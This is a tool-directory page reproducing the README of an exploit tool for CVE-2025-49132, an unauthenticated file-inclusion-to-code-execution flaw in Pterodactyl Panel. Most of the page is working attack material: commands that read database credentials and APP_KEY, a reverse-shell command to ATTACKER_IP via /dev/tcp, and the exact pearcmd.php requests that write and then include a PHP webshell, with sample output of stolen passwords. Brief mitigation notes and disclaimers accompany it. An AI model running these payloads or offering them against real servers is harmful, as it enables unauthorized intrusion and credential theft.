Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-49132 — CVE For Pterodactyl (For Study and Education) | Kitploit
Tools/GitHubGitHub/popyue/cve-2025-49132
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubpopyue/cve-2025-49132

CVE-2025-49132

CVE For Pterodactyl (For Study and Education)

View Repository
416 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-49132 - Pterodactyl Panel Exploit

⚠️ Disclaimer: This repository is created for educational and research purposes only as part of my security research to understand and document CVE-2025-49132. All credit for the vulnerability discovery goes to the original researcher(s).

root@kitploit:~
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

        Pterodactyl Panel - Unauthenticated LFI to RCE Exploit

📋 Description

CVE-2025-49132 is an Unauthenticated Local File Inclusion (LFI) vulnerability in Pterodactyl Panel that can be escalated to Remote Code Execution (RCE) via PHP's pearcmd.php.

The vulnerability exists in the /locales/locale.json endpoint, which fails to properly sanitize the locale and namespace parameters, allowing attackers to read arbitrary PHP configuration files and achieve code execution.

Download Tool

🎯 Affected Versions

StatusVersion
❌ Vulnerable<= 1.11.10
✅ Patched>= 1.11.11

⚡ Features

  • LFI Mode: Read PHP configuration files (database credentials, APP_KEY, etc.)
  • RCE Mode: Remote code execution via pearcmd.php LFI2RCE technique
  • Interactive Shell: Persistent shell for multiple command execution
  • Single Command: One-shot command execution
  • Pretty Output: Color-coded, formatted output for better readability

📦 Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132

# Install dependencies
pip install requests

Requirements

  • Python 3.6+
  • requests library
  • curl (for RCE mode)

🚀 Usage

LFI - Read Configuration Files

root@kitploit:~
# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database

# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app

# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail

RCE - Remote Code Execution

root@kitploit:~
# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"

# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR

# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Common PEAR Paths

DistributionPath
Debian/Ubuntu../../../../../../usr/share/php
SUSE/OpenSUSE../../../../../../usr/share/php/PEAR
CentOS/RHEL../../../../../../usr/share/pear
Alpine../../../../../../usr/share/php8

📖 Arguments

ArgumentDescription
-u, --urlTarget URL (required)
-p, --pathPath traversal for LFI or PEAR path for RCE
-f, --filePHP file to read (without .php extension)
--readEnable LFI read mode
--rceEnable RCE mode
--cmdCommand to execute (single execution mode)
--sdirDirectory to write shell (default: /tmp)
--snameShell filename (default: shell)

🔬 How It Works

LFI (Local File Inclusion)

The vulnerable endpoint /locales/locale.json accepts locale and namespace parameters:

root@kitploit:~
GET /locales/locale.json?locale=../../config&namespace=database

This allows reading any PHP file that returns an array, including Laravel configuration files.

RCE (Remote Code Execution)

The exploit chains LFI with pearcmd.php to achieve RCE:

  1. Stage 1: Use pearcmd.php's config-create command to write a PHP webshell

    root@kitploit:~
    /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
    
  2. Stage 2: Include the written shell via LFI

    root@kitploit:~
    /locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
    

📸 Screenshots

LFI - Reading Database Configuration

root@kitploit:~
════════════════════════════════════════════════════════════
  DATABASE CONFIGURATION
════════════════════════════════════════════════════════════

  default: mysql
  connections:
    mysql:
      driver: mysql
      host: 127.0.0.1
      port: 3306
      database: panel
      username: pterodactyl
      password: SecretPassword123

────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!

RCE - Command Execution

root@kitploit:~
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------

🛡️ Mitigation

  1. Update Pterodactyl Panel to version 1.11.11 or later
  2. Implement proper input validation on locale and namespace parameters
  3. Use allowlist for valid locale/namespace values
  4. Restrict PHP's register_argc_argv directive

⚠️ Disclaimer

This tool is provided for educational and authorized security testing purposes only.

  • Only use this tool on systems you own or have explicit written permission to test
  • Unauthorized access to computer systems is illegal
  • The author is not responsible for any misuse or damage caused by this tool

Use responsibly and ethically.

📚 References

  • Pterodactyl Panel Official
  • Pterodactyl Panel Github
  • CVE-2025-49132 Details
  • CVE-2025-49132: Pterodactyl Panel Allows Unauthenticated Arbitrary Remote Code Execution
  • PEAR LFI to RCE Technique
  • PHP Filter Chain Generator
  • Local File Inclusion to Remote Code Execution (RCE)

📝 Changelog

  • v1.0.0 - Initial release
    • LFI configuration reading
    • RCE via pearcmd
    • Interactive shell mode
    • Pretty formatted output

⭐ Star this repo if you found it useful!